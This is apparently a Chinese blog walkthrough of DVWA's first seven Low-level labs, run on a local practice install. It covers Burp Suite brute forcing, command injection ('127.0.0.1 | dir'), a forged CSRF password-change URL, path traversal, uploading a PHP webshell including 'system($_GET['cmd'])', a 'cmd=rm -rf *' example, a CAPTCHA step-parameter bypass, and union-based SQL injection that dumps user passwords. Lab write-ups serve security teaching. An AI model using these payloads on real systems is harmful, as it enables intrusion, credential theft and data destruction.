渗透入门系列-DVWA靶场实战通关教程(Low等级一到七关--保姆级详细版)
暴力破解利用BurpSuite自动化尝试用户名密码组合,通过集束炸弹模式加载字典爆破凭证;命令注入通过拼接特殊字符(如|或&)在输入中嵌入系统指令,例如127.0.0.1 | dir实现目录遍历;CSRF攻击构造恶意URL(如包含password_new=123&Change=Change)诱骗用户点击以非授权修改密码;文件包含漏洞因未过滤page参数,可通过?page=../../etc/pas
目录
第四步,右键当前输出框讲抓包内容发送到测试器模块(Ctrl+i是最方便的)
编辑第五步,选择攻击类型,攻击类型有四种,这里出于实际情况,我们选择第四种集束炸弹的模式
第六步,点击有效载荷,设置参数字典,设置用户名与密码字典(第一、第二个载荷)
第一步,点击Command Injection来到一个输入框页面
我们使用“|”符号作为连接符让计算机做出除ping以外的操作实现命令注入结果显示注入成功!命令:127.0.0.1 | dir
第一步,点击Cross Site Request Forgery (CSRF),来到修改密码页面
第二步,抓个包看看,发现url栏的信息和请求的信息是一致的(我这里用的1234567)
第一步,访问页面,显示allow_url_include 没有开启,我们可以在配置里面开启
allow_url_include参数表示可以远程利用文件包含漏洞
第二步,搜索allow_url_include,将Off改为On,保存
第四步,通过访问1.php,2.php, 3.php会返回不一样的内容,同时会将文件名传参给page参数
第三步,我们访问一下../../hackable/uploads/muma.php,发现回显成功
第一步,开科学上网后,点击Insecure CAPTCHA进入到一个修改密码页面(是不是似曾相识)编辑
第二步,输入密码,开启burpsuite进行抓包,点击提交,成功抓到包。
第二步,输入ID为1试试。发现后台自动执行数据库查询,显示了ID为1的用户信息。
第九步,查询users 表中的user、password字段数据
第一关 :Brute Force(暴力破解)
原理:是一种通过系统地尝试所有可能的组合来破解密码或其他认证信息的攻击手段。攻击者通常使用自动化脚本和字典来进行大量的尝试,直到找到正确的用户名和密码。
第一步,点击Brute Force,来到一个登录框页面
第二步,启动burpsuite,浏览器挂上代理(不清楚怎么操作的看看这篇文章:https://blog.csdn.net/AD_CSY/article/details/117753145)

第三步,开启抓包模式,登陆框随便输入几个字符,回车
抓取成功
可以清楚地看见刚刚我们输入的账户跟密码,是明文显示的
第四步,右键当前输出框讲抓包内容发送到测试器模块(Ctrl+i是最方便的)
分别双击输入的用户名和密码,点击添加,变为有效载荷

第五步,选择攻击类型,攻击类型有四种,这里出于实际情况,我们选择第四种集束炸弹的模式
知识补充:
Sniper: 单参数爆破,多参数时使用同一个字典按顺序替换各参数,只有一个数据会被替换
Battering ram: 多参数同时爆破,但用的是同一个字典,每个参数数据都是一致的
Pichfork: 多参数同时爆破,但用的是不同的字典,不同字典间数据逐行匹配
Cluster bamb: 多参数做笛卡尔乘积模式爆破
第六步,点击有效载荷,设置参数字典,设置用户名与密码字典(第一、第二个载荷)
爆破字典如果大家还没有的话,可以用一下我的:
https://wwyk.lanzoue.com/b00g3ev75i,密码:a7wo
添加好字典后点击开始攻击
字典跑完后,点击“长”使其按顺序或逆序排列,查看返回的数字,发现有数字和其他大多数数字不同即代表攻击成功
查看其发起包跟响应结果,发现成功
异常包是没有这个的
攻击成功,显示结果:
源码:
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];// Login successful
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// Login failed
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>
源码分析:low等级只是把输入的用户名和密码放到数据库去查询并返回结果,并没有做任何的限制,只要字典够强大,很容易就跑出来。
第二关,Command Injection(命令执行)
原理:应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用system、exec、shell_exec、passthru、popen、proc_popen等函数可以执行系统命令,当黑客能控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行漏洞。
第一步,点击Command Injection来到一个输入框页面
第二步,输入回环地址:127.0.0.1,并点击回车。
发现返回的数据和我们在cmd命令行里面执行ping 127.0.0.1的结果一样
补充:
如果你是乱码,参考一下这个解决办法:
在C:\phpStudy\PHPTutorial\WWW\DVWA\dvwa\includes目录下有个dvwaPage.ini.php文件,双击打开(这个路径根据自己电脑上dvwa的安装位置自行调整)
在文件中ctrl+f,用搜索栏查找utf-8,将UTF-8改为GBK或者GB2312即可
它给了我们一个利用系统命令的平台。我们能不能在执行ping命令操作的同时执行其他命令呢?
这里说一下命令连接符
& :前面一个命令无论是否执行,后面的命令都能执行,两个命令都执行
&&:前面一个命令执行成功后,才能执行后面一个命令,两个命令都执行
|:前面一个命令无论是否执行,后面的命令都能执行且只执行后面一个
||:前面一个命令不能正常执行后,才能执行后面一个命令
我们使用“|”符号作为连接符让计算机做出除ping以外的操作实现命令注入
结果显示注入成功!
命令:127.0.0.1 | dir
补充:dir命令是Windows系统常用的命令。显示目录的文件和子目录的列表。
源码:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}?>
源码分析:这里没有任何过滤,可以直接执行命令
第三关,CSRF(跨站请求伪造)
原理:CSRF攻击的成功基于两个条件:用户已登录受信任网站并在本地生成了Cookie;在不登出该网站的情况下,访问了危险网站。攻击者可以预测出URL的所有参数和值,构造一个伪造的请求。如果用户点击了恶意链接或访问了恶意网站,攻击者的请求就会被发送到受信任的网站,并且由于用户之前已经登录,请求会带上用户的Cookie,使得受信任的网站认为这是一个合法的用户请求。
第一步,点击Cross Site Request Forgery (CSRF),来到修改密码页面
网站的本意是让我们在网站里更改密码,但是能够到我们更改密码成功后url栏的参数是这样的
http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
可以分析出password_new是我输入的密码,password_conf是我确认的密码,说明我们在网站上输入的信息是会在url栏这里进行一个传输执行。
第二步,抓个包看看,发现url栏的信息和请求的信息是一致的(我这里用的1234567)
那是不是说明如果我能控制url栏里传入的参数,就能够不在网站内执行更改密码的操作呢?
第三步,更改url的参数:
http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=23-336&password_conf=23-336&Change=Change#
只需要在原来的url基础上该新密码和确认密码的参数即可
为了显示效果,我使当前页面是密码不匹配状态(第一行是123)
修改结果,页面跳转到了dvwa的更改密码界面,csrf攻击成功
网站的本意是在网站内更改密码,而我通过控制url的传参就能使我能在网站之外执行更改密码的操作,那么当我知道一个网站有csrf漏洞后也可以通过构造url的方式让别人点击执行他意想之外的行为
源码:
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );// Update the database
$current_user = dvwaCurrentUser();
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match.</pre>";
}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>
源码分析:源码中只对传入的密码和确认密码进行比较,两者一致则执行更改密码命令成功返回Password Change,不一致则返回Passwords did not match,没有任何过滤,所以能轻易执行csrf漏洞
第四关:File Inclusion(文件包含)
原理:当程序使用用户可控的参数来动态包含文件时,如果没有对用户输入进行严格的过滤和验证,攻击者就可以通过构造恶意路径来包含非预期的文件。
具体来说,当代码中使用类似 include($_GET['file']) 或 require($user_input) 这样的语句时,攻击者可以修改 file 参数的值,使其指向系统敏感文件(如 /etc/passwd)或远程恶意脚本(如 http://攻击者服务器/evil.txt)。漏洞主要分为两种类型:本地文件包含(LFI)可以读取服务器上的任意文件;远程文件包含(RFI)在 allow_url_include 开启时还能加载并执行远程服务器的代码。防御措施包括:禁用 allow_url_include、对包含路径进行白名单校验、使用 basename() 函数去除路径跳转符(如 ../),以及固定文件前缀(如 include('./lib/'.$file))来限制文件范围。
第一步,访问页面,显示allow_url_include 没有开启,我们可以在配置里面开启
allow_url_include参数表示可以远程利用文件包含漏洞
第二步,搜索allow_url_include,将Off改为On,保存
第三步,重启apache跟mysql服务
重新打开网站已经不显示问题了
第四步,通过访问1.php,2.php, 3.php会返回不一样的内容,同时会将文件名传参给page参数
第五步,试试访问一下不存在的文件:test.php
可以发现还爆出了文件的绝对路径:D:\phpstudy_pro\WWW\DVWA\vulnerabilities\fi\index.php
我们再试试让他读取一下其他文件,比如我刚刚创建的一个php文件(../../welcome.php)
这里的..是跳回上级的意思,两个..连跳两级,即回到DVWA文件夹
还可以通过这里查看当前PHP信息
源码:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];?>
分析:1.路径遍历风险:
允许使用 ../ 跳出当前目录
可访问服务器任意文件(如 /etc/passwd)
2.远程文件包含(RFI):
若 allow_url_include=On(默认关闭)
可直接包含远程服务器上的恶意脚本
这段代码展示了最危险的文件包含漏洞实现
注:文件包含漏洞经常可以结合文件上传漏洞进行渗透攻击,获取webshell。
渗透思路:
有时候当我们发现了一个本地的文件包含漏洞,但我们也仅仅只能去读取一些本地的文件,没有办法去进行更深层次的利用,然后又在这个网站上发现了一个文件上传漏洞,同时这个文件上传漏洞如果单个来看是比较鸡肋的,比如它做了限制,只能发送图片,而这个图片却没有做严格的限制,我们可以通过一些图片木马来绕过上传,而这两个漏洞结合一下的话,就能达到很大效果了 比如我们上传了一个图片木马,没法单独去使用,但我们可以使用文件包含漏洞,去对这个文件进行包含,也就是说两个文件互相结合进行利用。
第五关:File Upload(文件上传)
原理:文件上传漏洞(Unrestricted File Upload / File Upload Vulnerability)本质上是应用程序对用户上传的文件缺乏充分、有效的安全验证和限制,导致攻击者能够上传恶意文件(如WebShell、恶意脚本、木马程序等)到服务器上,并可能执行这些文件,从而完全或部分控制服务器、窃取数据、破坏系统或发起进一步攻击。
第一步,点击File Upload来到上传页面
第二步,上传一个一句话木马上去
显示上传成功
第三步,我们访问一下../../hackable/uploads/muma.php,发现回显成功
第四步,打开中国蚁剑进行连接获取webshell(这里的密码是你的一句话木马密码)
连接成功,进入到服务器内部
源码:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
$html .= '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
}
}?>
源码分析:这段代码可以实现文件上传功能但存在严重安全漏洞。它接收用户上传的文件后不做任何检查直接保存到服务器指定目录。黑客可以上传伪装成图片的恶意脚本比如一个PHP木马文件文件内容比如是<?php system($_GET['cmd']);?>。因为代码没有验证文件类型会接受任何扩展名的文件包括.php。上传成功后代码会返回文件完整路径比如显示"hackable/uploads/病毒.php成功上传"。黑客看到这个路径就能直接访问这个文件在网址后面加上?cmd=rm -rf *这样的参数服务器就会执行删除所有文件的命令。简单说这个代码有三大问题:第一不检查文件类型允许上传可执行脚本;第二使用原始文件名让黑客能轻易找到上传的文件;第三把危险文件存在网站能访问的目录导致黑客可以直接触发攻击。防御方法是限制只允许图片类型上传、给文件随机改名、把上传文件夹移到网站目录外面。
第六关:Insecure CAPTCHA(不安全验证码)
原理:
CAPTCHA是谷歌提供的一种用户验证服务,全称为:Completely Automated Public Turing Test to Tell Computers and Humans Apart(全自动区分计算机和人类的图灵测试),简单来说就是用来区分人类和计算机的一种手段,可以很有效的防止恶意软件、工具人大量调用系统功能,比如注册、登录等。因为是谷歌提供,需要科学上网,否则我们无法看到具体的页面数据,修改成功,验证码等
流程图:
第一步,开科学上网后,点击Insecure CAPTCHA进入到一个修改密码页面(是不是似曾相识)
第二步,输入密码,开启burpsuite进行抓包,点击提交,成功抓到包。
知识补充:step参数在Web安全中的核心问题是:它仅仅是个前端传来的数字,但代码却完全信任它来控制流程。 这个参数本来只是用来告诉服务器"现在进行到第几步",但开发者错误地认为用户一定会按顺序走完所有步骤。实际上,黑客可以直接抓包把step=1改成step=2,跳过所有第一步的检查(比如验证码、密码确认等),直接让服务器执行最后的关键操作(比如改密码)。这就好比考试时监考老师只看你试卷的页码对不对,却不检查你前面的题是不是真的做完了,结果有人直接翻到最后写答案也能通过。要修复这个问题,服务器必须自己记住用户完成了哪些步骤(比如用session记录),而不是盲目相信前端传过来的step值。
第三步,更改step参数绕过验证码:
修改成功
源码:
<?php
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key'],
$_POST['g-recaptcha-response']
);// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
$html .= "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the end user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
$html .= "<pre>Passwords did not match.</pre>";
$hide_form = false;
}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>
源码分析:
服务器将改密操作分成两步,第一步检查用户输入验证码,验证通过后服务器返回表单,服务器返回表单,第二步客户端提交post请求,服务器完成更改密码的操作。但是这里存在明显的逻辑漏洞,服务器仅通过检查Change、step参数来判断用户是否已经输入了正确的验证码。
第七关:SQL Injection(sql注入)
原理:攻击者通过在输入数据中包含特殊符号或命令,利用Web应用程序对用户输入验证的疏忽,直接对后台数据库系统下达指令,从而实现对数据库的入侵。
第一步,来到查询页面
第二步,输入ID为1试试。发现后台自动执行数据库查询,显示了ID为1的用户信息。
第三步,判断是否存在注入。
第一个:1' and 1=1#
1%27+and+1=1%23
经过 URL 编码的 SQL 注入测试语句,解码后为 1' and 1=1#,其核心作用是:
通过单引号闭合前段SQL字符串,插入恒真条件(1=1),并用#注释掉后续语句,探测是否存在字符型SQL注入漏洞。
第二个,1' and 1=2#
与 1' and 1=1# 对比使用:
1=1 永真 → 正常返回数据 → 初步确认漏洞
1=2 永假 → 返回异常 → 进一步确认漏洞可利用性
若存在漏洞:页面返回异常(如空白、错误),因为
and 1=2
强制查询结果为假。若不存在漏洞:页面行为正常(说明输入被过滤或参数化处理)。
1%27+and+1=2%23
经过 URL 编码的 SQL 注入探测语句,解码后为 1' and 1=2#,其核心作用是:
通过单引号闭合字符串,插入恒假条件(1=2),结合注释符(#)屏蔽后续语句,用于验证字符型 SQL 注入漏洞是否存在。
结果就是显示无回显结果,判断结论:字符型注入,单引号闭合
第四步,判断字段数,order by 5【使用二分法】
1' order by 5 -- jinxia
再试试三的,1' order by 3 -- jinxia
再试试二的,1' order by 2 -- jinxia,发现页面返回成功,说明字段数是2
第五步,联合注入,观测显示位【回显点】
1' union select 1,2 -- jinxia
通过闭合前导查询并添加恶意UNION查询来窃取数据库信息。
第六步,查看当前数据库的版本号,及当前数据库名
id=1' union select version(),database() -- jinxia
成功显示账户ID为1的用户信息,以及当前的数据库版本号、数据库名。
只显示数据库版本号以及数据库名的,把ID=1改成-1就好
第七步,输出当前数据库下的所有表名
1' union select version(),group_concat(table_name) from information_schema.tables where table_schema=database() -- jinxia
url编码(解决字符集冲突问题):id=-1%27%20union%20select%20convert(version()%20using%20latin1),%20convert(group_concat(table_name)%20using%20latin1)%20from%20information_schema.tables%20where%20table_schema=database()%20--%20jinxia
第八步,查询users表下面的所有字段名
-1' union select version(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' -- jinxia
第九步,查询users 表中的user、password字段数据
?id=-1' union select user,password from users limit 0,1 --jinxia
url编码(解决字符集冲突问题):id=-1%27%20union%20select%20convert(version()%20using%20latin1),%20convert(group_concat(column_name)%20using%20latin1)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27users%27%20--%20jinxia%20jinxia
源码:
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}mysqli_close($GLOBALS["___mysqli_ston"]);
break;
case SQLITE:
global $sqlite_db_connection;#$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
#$sqlite_db_connection->enableExceptions(true);$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}?>
源码分析:未对用户输入的$id参数进行任何过滤或转义处理,直接拼接到SQL查询语句中,导致攻击者可以通过构造恶意输入(如' or 1=1 -- )篡改SQL逻辑,从而获取、删除或篡改数据库敏感信息。
至此,一到七关结束
我是lode金夏,希望大家多多支持,我会及时更新剩下的11关通关姿势教程。
更多推荐
所有评论(0)